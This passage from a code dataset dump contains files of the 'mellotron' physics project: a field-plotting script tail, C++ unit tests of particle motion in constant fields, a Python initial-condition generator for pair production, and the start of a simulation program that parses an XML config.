= divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- By ------------- #\naxEx = plt.subplot2grid((2,3), (1,1))\nim = plt.pcolormesh(X_stratto,Y_stratto,By_stratto, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_y$\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Bz ------------- #\naxEx = plt.subplot2grid((2,3), (1,2))\nim = plt.pcolormesh(X_stratto,Y_stratto,Bz_stratto, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_z$\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\nplt.savefig(\"StrattoComponents.pdf\", bbox_inches='tight', dpi=500)\n\n# ----------------------------- StrattoLinear in Time ----------------------------- #\nstratto_Ex_time = np.loadtxt(\"StrattoField_Ex_time.txt\")\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nim = plt.plot(stratto_Ex_time[:,0],stratto_Ex_time[:,1], '--o')\n#ax.set_xlabel(r\"Time [fs]\")\n#ax.set_ylabel(r\"Intensity [$\\si{\\watt\\per\\cm\\squared}$]\")\n\nplt.savefig(\"Stratto_Ex_time.pdf\", bbox_inches='tight')\n\nx_qgauss = np.loadtxt(\"x_field_qgauss.txt\")/1e-6\ny_qgauss = np.loadtxt(\"y_field_qgauss.txt\")/1e-6\nX_qgauss, Y_qgauss = np.meshgrid(x_qgauss, y_qgauss)\nfield = np.loadtxt(\"QuasiGaussianField.txt\")\nfieldQED=np.loadtxt(\"QuasiGaussianField_qed.txt\")\n\nplt.show()\n" }, { "alpha_fraction": 0.5446703433990479, "alphanum_fraction": 0.570609986782074, "avg_line_length": 36.13958740234375, "blob_id": "e9191daa834a99dfc413ebee9dd61f60fb74f178", "content_id": "d798d48d315081f065d134ed66da1c89ce19f0e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 16230, "license_type": "no_license", "max_line_length": 161, "num_lines": 437, "path": "/tests/UnitTest-Particle.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont <[email protected]> *\n * \\since 2016-10-04 *\n * *\n * Unit test of Particle in MELLOTRON. The particle is instantiated as an *\n * electron with original position at the origin and zero velocity. *\n * --------------------------------------------------------------------------*/\n\n#include <gtest/gtest.h>\n\n#include <iostream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\n\n#include <armadillo>\n#include <mellotron>\n#include <boost/numeric/odeint.hpp>\n\nusing namespace boost::numeric::odeint;\n\nusing namespace mellotron;\n\nstruct ConstantField\n{\n // Constructor to manually set the components of the static field.\n ConstantField(double my_Ex, double my_Ey, double my_Ez, double my_Bx, double my_By, double my_Bz)\n : Ex(my_Ex)\n , Ey(my_Ey)\n , Ez(my_Ez)\n , Bx(my_Bx)\n , By(my_By)\n , Bz(my_Bz)\n {}\n\n // Default constructor sets an electrostatic field.\n ConstantField()\n : Ex(0.0)\n , Ey(0.0)\n , Ez(0.1)\n , Bx(0.0)\n , By(0.0)\n , Bz(0.0)\n {}\n\n // Return the field components in an array.\n std::array<double,6> ComputeFieldComponents(double t, double x, double y, double z) const\n {\n std::array<double,6> constant = {Ex,Ey,Ez,Bx,By,Bz};\n return constant;\n }\n\n double Ex,Ey,Ez,Bx,By,Bz;\n};\n\n// We declare a test fixture to test a specific instance\n// of Particle.\n// This tests the standard Particle and ParticleObserver classes and compares\n// their output to analytical solutions.\nclass ParticleTest : public testing::Test\n{\npublic:\n ParticleTest()\n : charge(2.0)\n , mass(3.0)\n , electron_units(1.0)\n , electron(charge,mass,field,electron_units)\n , electron_obs(electron)\n {}\n\n const double charge;\n const double mass;\n\n ConstantField field;\n MellotronUnits electron_units;\n Particle<ConstantField> electron;\n ParticleObserver<ConstantField> electron_obs;\n\nprotected:\n\n virtual void SetUp()\n {\n }\n\n};\n\n// We test that we compute the proper coordinates.\n// Analytical solution in an electrostatic field.\nTEST_F(ParticleTest, TestIntegrationElectrostatic)\n{\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = 0.0;\n double y_init = 0.0;\n double z_init = 0.0;\n double px_init = 0.0;\n double py_init = 0.0;\n double pz_init = 0.0;\n\n // Times at which we output the data.\n unsigned int size_time = 2500;\n arma::colvec times = arma::linspace<arma::colvec>(0.0,10.0,size_time);\n\n // Set the initial conditions.\n electron.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n std::cout << \"Initial conditions\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n size_t steps = integrate_times(make_dense_output(1.0e-8,1.0e-8, runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(electron),\n x,\n boost::begin(times),\n boost::end(times),\n 0.01,\n std::ref(electron_obs));\n std::cout << steps << std::endl << std::endl;\n\n std::cout << \"Final vector\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n // Comparison between recorded data and analytical solution.\n for (uint i=0; i<size_time; i++)\n {\n EXPECT_NEAR(electron_obs.momentum(0,i), charge*field.Ex*electron_obs.times[i]+px_init*field.Ex, 1.0e-6);\n EXPECT_NEAR(electron_obs.momentum(1,i), charge*field.Ey*electron_obs.times[i]+py_init*field.Ey, 1.0e-6);\n EXPECT_NEAR(electron_obs.momentum(2,i), charge*field.Ez*electron_obs.times[i]+pz_init*field.Ez, 1.0e-6);\n\n double field_norm_sq = std::pow(arma::norm(electron_obs.electric_field.col(i),2),2);\n EXPECT_NEAR(electron_obs.position(0,i), field.Ex/field_norm_sq*mass/charge*(electron_obs.gamma[i]-electron_obs.gamma[0])+x_init, 1.0e-6);\n EXPECT_NEAR(electron_obs.position(1,i), field.Ey/field_norm_sq*mass/charge*(electron_obs.gamma[i]-electron_obs.gamma[0])+y_init, 1.0e-6);\n EXPECT_NEAR(electron_obs.position(2,i), field.Ez/field_norm_sq*mass/charge*(electron_obs.gamma[i]-electron_obs.gamma[0])+z_init, 1.0e-6);\n }\n\n electron_obs.OutputData();\n}\n\n// We test that we compute the right solution for a uniform magnetostatic field.\nTEST_F(ParticleTest, TestIntegrationMagnetostatic)\n{\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = 0.0;\n double y_init = 0.0;\n double z_init = 0.0;\n double px_init = 0.1;\n double py_init = 0.1;\n double pz_init = 0.0;\n\n // Times at which we output the data.\n unsigned int size_time = 250;\n arma::colvec times = arma::linspace<arma::colvec>(0.0,10.0,size_time);\n\n // Set the initial conditions.\n electron.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n // Set the field.\n field.Ez=0.0;\n field.Bz=1.0;\n double omega = charge*field.Bz/x[4];\n double theta_0 = std::atan2(px_init,py_init);\n double p_perp = std::sqrt(px_init*px_init+py_init*py_init);\n\n std::cout << \"Initial conditions\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n size_t steps = integrate_times(make_dense_output(1.0e-8,1.0e-8, runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(electron),\n x,\n boost::begin(times),\n boost::end(times),\n 0.01,\n std::ref(electron_obs));\n std::cout << steps << std::endl << std::endl;\n\n std::cout << \"Final vector\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n // Comparison between recorded data and analytical solution.\n for (uint i=0; i<size_time; i++)\n {\n EXPECT_NEAR(electron_obs.momentum(0,i), p_perp*std::sin(omega*electron_obs.times[i]+theta_0), 1.0e-5);\n EXPECT_NEAR(electron_obs.momentum(1,i), p_perp*std::cos(omega*electron_obs.times[i]+theta_0), 1.0e-5);\n EXPECT_NEAR(electron_obs.momentum(2,i), pz_init, 1.0e-6);\n\n EXPECT_NEAR(electron_obs.position(0,i), -p_perp/(omega*electron_obs.gamma[i]*mass)*(cos(omega*electron_obs.times[i]+theta_0)-cos(theta_0)) + x_init, 1.0e-5);\n EXPECT_NEAR(electron_obs.position(1,i), p_perp/(omega*electron_obs.gamma[i]*mass)*(sin(omega*electron_obs.times[i]+theta_0)-sin(theta_0)) + y_init, 1.0e-5);\n EXPECT_NEAR(electron_obs.position(2,i), pz_init/(electron_obs.gamma[i]*mass)*electron_obs.times[i]+z_init, 1.0e-5);\n }\n}\n\n// We declare a test fixture to test a specific instance\n// of ParticleIonized. This tests ParticleIonized and the relevant\n// ParticleObserverIonized. This test should generate a single\n// HDF5 file, as the second particle (electron_below), is always below\n// threshold and should therefore not output data.\nclass ParticleIonizedTest : public testing::Test\n{\npublic:\n ParticleIonizedTest()\n : charge(2.0)\n , mass(3.0)\n , electron_units(1.0)\n , electron(charge,mass,field,electron_units,0.0)\n , electron_obs(electron)\n , electron_below(charge,mass,field,electron_units,10000.0)\n , electron_obs_below(electron_below)\n {}\n\n const double charge;\n const double mass;\n\n ConstantField field;\n MellotronUnits electron_units;\n ParticleIonized<ConstantField> electron;\n ParticleObserverIonized<ConstantField> electron_obs;\n ParticleIonized<ConstantField> electron_below;\n ParticleObserverIonized<ConstantField> electron_obs_below;\n\nprotected:\n\n virtual void SetUp()\n {\n }\n\n};\n\n// We test that we compute the proper coordinates.\n// Should output 8503784799965847432.hdf5.\nTEST_F(ParticleIonizedTest, TestIntegrationElectrostatic)\n{\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = 0.0;\n double y_init = 0.0;\n double z_init = 0.0;\n double px_init = 0.0;\n double py_init = 0.0;\n double pz_init = 0.0;\n\n // Times at which we output the data.\n unsigned int size_time = 2500;\n arma::colvec times = arma::linspace<arma::colvec>(0.0,10.0,size_time);\n\n // Set the initial conditions.\n electron.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n std::cout << \"Initial conditions\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n size_t steps = integrate_times(make_dense_output(1.0e-7,1.0e-7, runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(electron),\n x,\n boost::begin(times),\n boost::end(times),\n 0.01,\n std::ref(electron_obs));\n std::cout << steps << std::endl << std::endl;\n\n std::cout << \"Final vector\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n // Comparison between recorded data and analytical solution.\n for (uint i=0; i<size_time; i++)\n {\n EXPECT_NEAR(electron_obs.momentum(0,i), charge*field.Ex*electron_obs.times[i]+px_init*field.Ex, 1.0e-6);\n EXPECT_NEAR(electron_obs.momentum(1,i), charge*field.Ey*electron_obs.times[i]+py_init*field.Ey, 1.0e-6);\n EXPECT_NEAR(electron_obs.momentum(2,i), charge*field.Ez*electron_obs.times[i]+pz_init*field.Ez, 1.0e-6);\n\n double field_norm_sq = std::pow(arma::norm(electron_obs.electric_field.col(i),2),2);\n EXPECT_NEAR(electron_obs.position(0,i), field.Ex/field_norm_sq*mass/charge*(electron_obs.gamma[i]-electron_obs.gamma[0])+x_init, 1.0e-6);\n EXPECT_NEAR(electron_obs.position(1,i), field.Ey/field_norm_sq*mass/charge*(electron_obs.gamma[i]-electron_obs.gamma[0])+y_init, 1.0e-6);\n EXPECT_NEAR(electron_obs.position(2,i), field.Ez/field_norm_sq*mass/charge*(electron_obs.gamma[i]-electron_obs.gamma[0])+z_init, 1.0e-6);\n\n }\n\n electron_obs.OutputData();\n}\n\n// Test a below threshold integration with ParticleIonized. Should\n// not output anything. The different initial condition makes sure\n// that any output would be unique.\nTEST_F(ParticleIonizedTest, TestIntegrationElectrostaticBelowThreshold)\n{\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = 0.1;\n double y_init = 0.0;\n double z_init = 0.0;\n double px_init = 0.0;\n double py_init = 0.0;\n double pz_init = 0.0;\n\n // Times at which we output the data.\n unsigned int size_time = 2500;\n arma::colvec times = arma::linspace<arma::colvec>(0.0,10.0,size_time);\n\n // Set the initial conditions.\n electron_below.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n std::cout << \"Initial conditions\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n size_t steps = integrate_times(make_dense_output(1.0e-7,1.0e-7, runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(electron_below),\n x,\n boost::begin(times),\n boost::end(times),\n 0.01,\n std::ref(electron_obs_below));\n std::cout << steps << std::endl << std::endl;\n\n std::cout << \"Final vector\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n // Comparison between recorded data and analytical solution.\n for (uint i=0; i<size_time; i++)\n {\n EXPECT_NEAR(electron_obs_below.momentum(0,i), px_init, 1.0e-6);\n EXPECT_NEAR(electron_obs_below.momentum(1,i), py_init, 1.0e-6);\n EXPECT_NEAR(electron_obs_below.momentum(2,i), pz_init, 1.0e-6);\n\n double field_norm_sq = std::pow(arma::norm(electron_obs_below.electric_field.col(i),2),2);\n EXPECT_NEAR(electron_obs_below.position(0,i), px_init*times[i]+x_init, 1.0e-6);\n EXPECT_NEAR(electron_obs_below.position(1,i), py_init*times[i]+y_init, 1.0e-6);\n EXPECT_NEAR(electron_obs_below.position(2,i), pz_init*times[i]+z_init, 1.0e-6);\n\n }\n\n electron_obs_below.OutputData();\n}\n\n// We test that we compute the right solution for a uniform magnetostatic field\n// with the ParticleIonized class.\nTEST_F(ParticleIonizedTest, TestIntegratinoMagnetostatic)\n{\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = 0.0;\n double y_init = 0.0;\n double z_init = 0.0;\n double px_init = 0.1;\n double py_init = 0.1;\n double pz_init = 0.0;\n\n // Times at which we output the data.\n unsigned int size_time = 250;\n arma::colvec times = arma::linspace<arma::colvec>(0.0,10.0,size_time);\n\n // Set the initial conditions.\n electron.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n // Set the field.\n field.Ez=0.0;\n field.Bz=1.0;\n double omega = charge*field.Bz/x[4];\n double theta_0 = std::atan2(px_init,py_init);\n double p_perp = std::sqrt(px_init*px_init+py_init*py_init);\n\n std::cout << \"Initial conditions\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n size_t steps = integrate_times(make_dense_output(1.0e-7,1.0e-7, runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(electron),\n x,\n boost::begin(times),\n boost::end(times),\n 0.01,\n std::ref(electron_obs));\n std::cout << steps << std::endl << std::endl;\n\n std::cout << \"Final vector\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n // Comparison between recorded data and analytical solution.\n for (uint i=0; i<size_time; i++)\n {\n EXPECT_NEAR(electron_obs.momentum(0,i), p_perp*std::sin(omega*electron_obs.times[i]+theta_0), 1.0e-5);\n EXPECT_NEAR(electron_obs.momentum(1,i), p_perp*std::cos(omega*electron_obs.times[i]+theta_0), 1.0e-5);\n EXPECT_NEAR(electron_obs.momentum(2,i), pz_init, 1.0e-6);\n\n EXPECT_NEAR(electron_obs.position(0,i), -p_perp/(omega*electron_obs.gamma[i]*mass)*(cos(omega*electron_obs.times[i]+theta_0)-cos(theta_0)) + x_init, 1.0e-5);\n EXPECT_NEAR(electron_obs.position(1,i), p_perp/(omega*electron_obs.gamma[i]*mass)*(sin(omega*electron_obs.times[i]+theta_0)-sin(theta_0)) + y_init, 1.0e-5);\n EXPECT_NEAR(electron_obs.position(2,i), pz_init/(electron_obs.gamma[i]*mass)*electron_obs.times[i]+z_init, 1.0e-5);\n }\n}\n\nGTEST_API_ int main(int argc, char **argv)\n{\n H5open();\n printf(\"Running main() UnitTest-Particle.cpp.\\n\");\n testing::InitGoogleTest(&argc, argv);\n auto result = RUN_ALL_TESTS();\n H5close();\n\n return result;\n}\n" }, { "alpha_fraction": 0.5757893323898315, "alphanum_fraction": 0.5815537571907043, "avg_line_length": 42.12429428100586, "blob_id": "d95a741408c6e9adb736833485b80fe43183f52c", "content_id": "7c0a1909f5af0877d6b983c2660923dec974b10e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7639, "license_type": "no_license", "max_line_length": 191, "num_lines": 177, "path": "/simulations/InitialConditionsPairProduction.py", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# ------------------------------- Information ------------------------------- #\n# Author: Joey Dumont <[email protected]> #\n# Created: 2017-08-03 #\n# Description: Creates initial conditions that are distributed with respect #\n# to pair production probability. #\n# --------------------------------------------------------------------------- #\n\n\n# --------------------------- Modules Importation --------------------------- #\nimport sys as sys\nimport argparse as ap\nfrom scipy.constants import codata\nimport numpy as np\nfrom numpy import sin as sin\nfrom numpy import cos as cos\nfrom math import pow as pow\nimport xml.etree.ElementTree as ET\nimport time\n\n# -- Import user modules.\nsys.path.append(\"strattoanalysis/\")\nimport GenerateInitialConditions\nimport Analysis3D\n\ndef main():\n \"\"\"\n This class generates initial conditions for classical charged particle\n trajectory calculations that are distributed according to the probability\n of creating a pair at a given point in space-time.\n\n We proceed as follows:\n โ€ข Read the HDF5 file containing the temporal electromagnetic field.\n โ€ข Find the maximum value of the pair production integrand across the\n whole space and scale it.\n โ€ข Draw initial conditions for each time step by generating a random\n number r for each spatial point on the grid and instantiating a particle\n if scaledProbability > r until nParticles have been drawn.\n\n Author: Joey Dumont <[email protected]>\n \"\"\"\n\n # Start the timer.\n start_time = time.perf_counter()\n\n # Command line arguments\n parser = ap.ArgumentParser(description=\"Generate the initial conditions for the simulation.\")\n parser.add_argument(\"--directory\", type=str, default=None,\n help=\"Directory containing the HDF5 with the electromagnetic field data.\")\n parser.add_argument(\"--fileTime\", type=str, default=\"Field_reflected_time.hdf5\",\n help=\"Name of the HDF5 file with the temporal electromagnetic field data.\")\n parser.add_argument(\"--fileFreq\", type=str, default=\"Field_reflected.hdf5\")\n parser.add_argument(\"--config\", type=str, default=\"configStrattoLinear.xml\",\n help=\"Name of the XML configuration file.\")\n parser.add_argument(\"--radial\", type=bool,default=False,\n help=\"Specifies the polarization of the beam.\")\n\n # Parse arguments\n args = parser.parse_args()\n\n # Chosen shape for the simulation\n configFile = args.config\n\n # Parse arguments\n tree = ET.parse(configFile)\n config = tree.getroot()\n\n wavelength_element = config.find(\"./integration_salamin/lambda\")\n if (wavelength_element == None):\n wavelength_element = config.find(\"./spectrum/lambda_c\")\n wavelength = float(wavelength_element.text)\n\n # -- Electronic units.\n EL_UNITS_LENGTH = 2.0 * np.pi / wavelength\n EL_UNITS_TIME = 2.0 * np.pi * codata.value('speed of light in vacuum') / wavelength\n\n numpart = int(config.find(\"./generate_initial_conditions/numpart\").text)\n\n # We instantiate the Analysis3D object of interest and find the maximum pair density.\n if args.radial:\n pairProductionAnalysis = AnalysisRadial.AnalysisRadial(freq_field=args.directory+args.fileFreq, time_field=args.directory+args.fileTime)\n else:\n pairProductionAnalysis = Analysis3D.Analysis3D(freq_field=args.directory+args.fileFreq, time_field=args.directory+args.fileTime)\n\n maxIndices, maxDensities = pairProductionAnalysis.FindMaximumValues(pairProductionAnalysis.PairDensity)\n maxDensity = np.amax(maxDensities)\n\n # We now scale the number of particles per time slices w.r.t the relative strength of maxDensities.\n maxDensities = maxDensities / np.sum(np.abs(maxDensities))\n numpart_slices = np.ceil(maxDensities * numpart)\n numpart_slices = numpart_slices.astype(int)\n print(numpart_slices)\n\n # We prepare the arrays that will hold the initial positions and time values.\n x = np.zeros((numpart))\n y = np.zeros((numpart))\n z = np.zeros((numpart))\n t = np.zeros((numpart))\n\n particle_counter = 0\n for i in range(pairProductionAnalysis.size_time):\n particle_counter_slice = 0\n loop_counter = 0\n loop_max = 10*numpart\n while (not (particle_counter_slice >= numpart_slices[i]) and loop_counter < loop_max):\n\n # -- Uniform numbers for this temporal slice.\n random_numbers = np.random.uniform(size=pairProductionAnalysis.size_flat)\n\n # -- Pair density for this slice. Scaled to be a \"PDF\".\n pairDensity = pairProductionAnalysis.PairDensityTime(i) / np.sum(np.abs(pairProductionAnalysis.PairDensityTime(i)))\n\n for j in range(pairProductionAnalysis.size_flat):\n if (particle_counter_slice >= numpart_slices[i]):\n break\n if (pairDensity.flat[j] > random_numbers[j]):\n indices = np.unravel_index(j, pairDensity.shape)\n\n if args.radial:\n r = pairProductionAnalysis.coord_r[indices[0]]*pairProductionAnalysis.UNIT_LENGTH\n theta = 2.0*np.pi*np.random.random()\n z_si = pairProductionAnalysis.coord_z[indices[1]]*pairProductionAnalysis.UNIT_LENGTH\n else:\n r = pairProductionAnalysis.coord_r[indices[0]]*pairProductionAnalysis.UNIT_LENGTH\n theta = pairProductionAnalysis.coord_theta[indices[1]]\n z_si = pairProductionAnalysis.coord_z[indices[2]]*pairProductionAnalysis.UNIT_LENGTH\n\n t_si = pairProductionAnalysis.time[i]\n\n x[particle_counter] = r*np.cos(theta) * EL_UNITS_LENGTH\n y[particle_counter] = r*np.sin(theta) * EL_UNITS_LENGTH\n z[particle_counter] = z_si * EL_UNITS_LENGTH\n t[particle_counter] = t_si * EL_UNITS_TIME\n particle_counter += 1\n particle_counter_slice += 1\n\n px = py = pz = 0.0\n # Create file\n of = open(\"init_conds.txt\",'w')\n for pid in range(numpart): # Loop on particle indices\n # Write positions\n of.write(str(x[pid]) + \" \" + str(y[pid]) + \" \" + str(z[pid]) + \" \")\n # Write momenta\n of.write(str(px) + \" \" + str(py) + \" \" + str(pz) + \" \")\n\n # Write initial time.\n of.write(str(t[pid]) + \"\\n\")\n\n of.close()\n\n\n print(\"Allocated particle {} at x={}, y={}, z={} at t={}\".format(particle_counter,x[particle_counter-1],y[particle_counter-1],z[particle_counter-1],t[particle_counter-1]))\n loop_counter += 1\n\n px = py = pz = 0.0\n\n # Create file\n of = open(\"init_conds.txt\",'w')\n\n for pid in range(numpart): # Loop on particle indices\n # Write positions\n of.write(str(x[pid]) + \" \" + str(y[pid]) + \" \" + str(z[pid]) + \" \")\n\n # Write momenta\n of.write(str(px) + \" \" + str(py) + \" \" + str(pz) + \" \")\n\n # Write initial time.\n of.write(str(t[pid]) + \"\\n\")\n\n of.close()\n\n # -- Stop timer.\n end_time = time.perf_counter()\n\n print(end_time-start_time)\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5801475644111633, "alphanum_fraction": 0.5853496193885803, "avg_line_length": 41.61082458496094, "blob_id": "072f5af8a5a82e0bd4aceaf4bdd4a33b71bddf51", "content_id": "2e06e4803afd183ccf2e6787c115d020b2c7d0d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 16532, "license_type": "no_license", "max_line_length": 159, "num_lines": 388, "path": "/simulations/IntegrationStrattoMosaicSG.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont <[email protected]> *\n * \\since 2017-08-07 *\n * *\n * Simulation program using the strattocalculator via the *\n * StrattoCalculatorWrapper.hpp (mosaic fields). *\n * --------------------------------------------------------------------------*/\n\n#include <cmath>\n#include <meshpi>\n#include <iostream>\n#include <fstream>\n#include <boost/program_options.hpp>\n#include <boost/numeric/odeint.hpp>\n\n#include <boost/property_tree/xml_parser.hpp>\n#include <boost/property_tree/ptree.hpp>\n#include <boost/foreach.hpp>\n\n#include \"StrattoCalculatorWrapper.hpp\"\n\nusing namespace MeshPI;\nusing namespace StrattoCalculator;\nnamespace po = boost::program_options;\nnamespace odeint = boost::numeric::odeint;\n\n/// Parse an array in ini_parser.\n/// http://stackoverflow.com/questions/4986052/boost-property-tree-working-with-simple-arrays-or-containers\ntemplate <typename T>\nstd::vector<T> to_array(const std::string &s)\n{\n std::vector<T> result;\n std::stringstream ss(s);\n std::string item;\n while(std::getline(ss,item, ','))\n result.push_back(boost::lexical_cast<T>(item));\n return result;\n}\n\n// Structure in which we store all of the data we read in the config file.\nstruct StrattoMosaicConfig\n{\n double r_min_; // Minimum aperture\n double r_max_; // Maximum aperture.\n double th_min_; // Minimum angle\n double th_max_; // Maximum angle (2*pi for a complete parabola)\n double focal_length_; // Focal length of the parabola.\n bool boundary_min_; // Flag to enable evaluation of boundary integral at r_min.\n bool boundary_max_; // Flag to enable evaluation of boundary integral at r_max.\n unsigned int intervals_r_; // Number of intervals in r coord\n unsigned int intervals_th_; // Number of intervals in th coord\n unsigned int num_points_r_; // Number of points per interval in r coord\n unsigned int num_points_th_; // Number of points per interval in th coord\n double energy_; // Energy in the incident beam\n double lambda_c_; // Central wavelength of the spectrum\n double lambda_min_; // Minimum wavelength of the spectrum\n double lambda_max_; // Maximum wavelength of the spectrum\n double delta_lambda_; // Full-width half-maximum of the spectrum\n int num_components_; // Number of spectral components to consider\n int gaussian_order_; // Order of the super-gaussian spectrum\n bool hasChirp; // Determines if the config file has chirp info.\n double omega_c_chirp_; // Central frequency where we expand the spectral phase.\n std::vector<double> chirp_taylor_coefficients_;// Taylor coefficients of the phase (to model chirp).\n double beam_width_; // 1/e radius of the field\n std::vector<double> lg_coeffs_;// Coefficients of the Laguerre-Gauss expansion.\n int number_tesserae_; // Number of segments in the mosaic.\n double mass_; // Particle mass\n double Q_; // Particle charge\n double t_init_; // Initial time in simulation\n double dt_; // Duration of a time step\n int nsteps_; // Number of time steps\n void read(std::ifstream& file, StrattoMosaicConfig*& config);\n};\n\n// Function used to read the data read from the config file.\nvoid StrattoMosaicConfig::read(std::ifstream& file, StrattoMosaicConfig*& config)\n{\n using boost::property_tree::ptree;\n ptree pt;\n read_xml(file, pt);\n bool configIsEmpty = true;\n bool hasFoundParabola = false;\n bool hasFoundSpectrum = false;\n bool hasFoundModel = false;\n bool hasFoundParticle = false;\n bool hasFoundIntegration = false;\n BOOST_FOREACH(ptree::value_type const& v, pt.get_child(\"config\"))\n {\n if(v.first == \"parabola\")\n {\n if(configIsEmpty)\n {\n config = new StrattoMosaicConfig();\n configIsEmpty = false;\n }\n hasFoundParabola = true;\n config->r_min_ = v.second.get<double>(\"r_min\");\n config->r_max_ = v.second.get<double>(\"r_max\");\n config->th_min_ = v.second.get<double>(\"th_min\");\n config->th_max_ = v.second.get<double>(\"th_max\");\n config->focal_length_ = v.second.get<double>(\"focal_length\");\n config->boundary_min_ = v.second.get<bool>(\"boundary_min\");\n config->boundary_max_ = v.second.get<bool>(\"boundary_max\");\n config->intervals_r_ = v.second.get<int>(\"intervals_r\");\n config->intervals_th_ = v.second.get<int>(\"intervals_th\");\n config->num_points_r_ = v.second.get<int>(\"num_points_r\");\n config->num_points_th_ = v.second.get<int>(\"num_points_th\");\n }\n if(v.first == \"spectrum\")\n {\n if(configIsEmpty)\n {\n config = new StrattoMosaicConfig();\n configIsEmpty = false;\n }\n hasFoundSpectrum = true;\n config->energy_ = v.second.get<double>(\"energy\");\n config->lambda_c_ = v.second.get<double>(\"lambda_c\");\n config->lambda_min_ = v.second.get<double>(\"lambda_min\");\n config->lambda_max_ = v.second.get<double>(\"lambda_max\");\n config->delta_lambda_ = v.second.get<double>(\"delta_lambda\");\n config->num_components_ = v.second.get<int>(\"num_components\");\n config->gaussian_order_ = v.second.get<int>(\"gaussian_order\");\n\n // Check that the config file contains chirp information.\n if (boost::optional<double> omega_c_chirp_opt = v.second.get_optional<double>(\"omega_c_chirp\"))\n {\n config->hasChirp = true;\n config->omega_c_chirp_ = *omega_c_chirp_opt;\n config->chirp_taylor_coefficients_ = to_array<double>(v.second.get<std::string>(\"chirp_taylor_coefficients\"));\n }\n\n else\n config->hasChirp = false;\n }\n if(v.first == \"model\")\n {\n if(configIsEmpty)\n {\n config = new StrattoMosaicConfig();\n configIsEmpty = false;\n }\n hasFoundModel = true;\n config->beam_width_ = v.second.get<double>(\"beam_width\");\n config->lg_coeffs_ = to_array<double>(v.second.get<std::string>(\"lg_coeffs\"));\n config->number_tesserae_ = v.second.get<int>(\"number_tesserae\");\n }\n if(v.first == \"particle\")\n {\n if(configIsEmpty)\n {\n config = new StrattoMosaicConfig();\n configIsEmpty = false;\n }\n hasFoundParticle = true;\n config->mass_ = v.second.get<double>(\"mass\");\n config->Q_ = v.second.get<double>(\"Q\");\n }\n if(v.first == \"integration\")\n {\n if(configIsEmpty)\n {\n config = new StrattoMosaicConfig();\n configIsEmpty = false;\n }\n hasFoundIntegration = true;\n config->t_init_ = v.second.get<double>(\"t_init\");\n config->dt_ = v.second.get<double>(\"dt\");\n config->nsteps_ = v.second.get<int>(\"nsteps\");\n }\n }\n\n if(config == nullptr || !hasFoundParabola || !hasFoundSpectrum || !hasFoundModel || !hasFoundParticle || !hasFoundIntegration)\n {\n throw std::runtime_error(\"Missing parabola, spectrum or model config.\");\n }\n}\n\ndouble to_rad(double angle_in_deg)\n{\n return angle_in_deg*GlobalConstant::PI/180.0;\n}\n\nint main(int argc, char* argv[])\n{\n // Declare the supported options.\n po::options_description 